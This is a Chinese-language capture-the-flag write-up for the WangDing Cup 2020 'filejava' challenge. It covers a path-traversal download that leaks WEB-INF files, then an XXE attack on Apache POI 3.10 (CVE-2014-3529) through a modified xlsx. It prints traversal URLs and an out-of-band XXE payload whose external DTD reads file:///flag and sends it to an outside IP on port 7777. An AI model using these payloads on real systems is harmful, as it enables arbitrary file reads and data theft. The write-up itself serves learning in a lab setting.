网鼎杯-2020-青龙组-filejava

摘要
[网鼎杯 2020 青龙组] filejava webinf


[xml 注入详解](https://www.cnblogs.com/backlion/p/9302528.html)

DownloadServlet 负责处理下载逻辑,测试目录穿越:

tomcat 报错,并爆出webinf路径,

/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/15/6/.. (Is a directory)

WEB-INF

WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。

如果想在页面中直接访问其中的文件,必须通过 web.xml 对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml

Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。对后端逻辑进行映射,也可以考虑为路由设置。

/WEB-INF/classes/

包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中(是该目录不能包含在.jar文件中)。通过反编译,可以得到泄露的java源码。

/WEB-INF/lib/

存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件。

/WEB-INF/src/

源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties

数据库配置文件

/WEB-INF/tags/

存放了自定义标签文件,该目录并不一定为 tags,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。例如:当自定义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明为:<%@ taglibprefix=”tags” tagdir=”/WEB-INF /simpleTags” % >。

/WEB-INF/jsp/

jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。

/WEB-INF/jsp2/

与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,同样为区别 Jsp 1.2以下版本的文件目录,通常才命名为 jsp2。

META-INF

相当于一个信息包,目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务

manifest.mf文件,在用jar打包时自动生成。

反编译

1
?filename=../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>

可以看到路由以及对应的servlet配置

1
?filename=../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

依次拿到字节码文件,使用jd-gui进行反编译

CVE-2014-3529

image-20220117124502798

这里是主要的漏洞点,提示了poi-ooxml-3.10

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3529

Apache POI 3.10.1之前版本中的OPC SAX设置允许远程攻击者通过包含XML外部实体声明和实体引用的OpenXML文件读取任意文件,该文件与XML外部实体(XXE)问题有关。

这里解析的是excel文件

excel 与 xml

https://www.cnblogs.com/tinytiny/p/3356900.html

Excel底层的工作空间和保存数据的形式就是用的XML格式的数据,你可以把.xls后缀或.xlsx后缀改为任意一种压缩格式的后缀(.rar .zip)试试

解析excel,就要解析其中的xml,而POI 3.10.1允许了在其中进行外部DTD包含,导致注入

attack

修改 [Content_Types].xml

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/file.dtd">
%remote;%int;%send;
]>

在vps上放置一个dtd

1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://47.98.199.11:7777?p=%file;'>">

在7777起监听,接收flag:

image-20220117125247999
作者

inanb

发布于

2022-01-17

更新于

2022-01-18

许可协议


:D 一言句子获取中...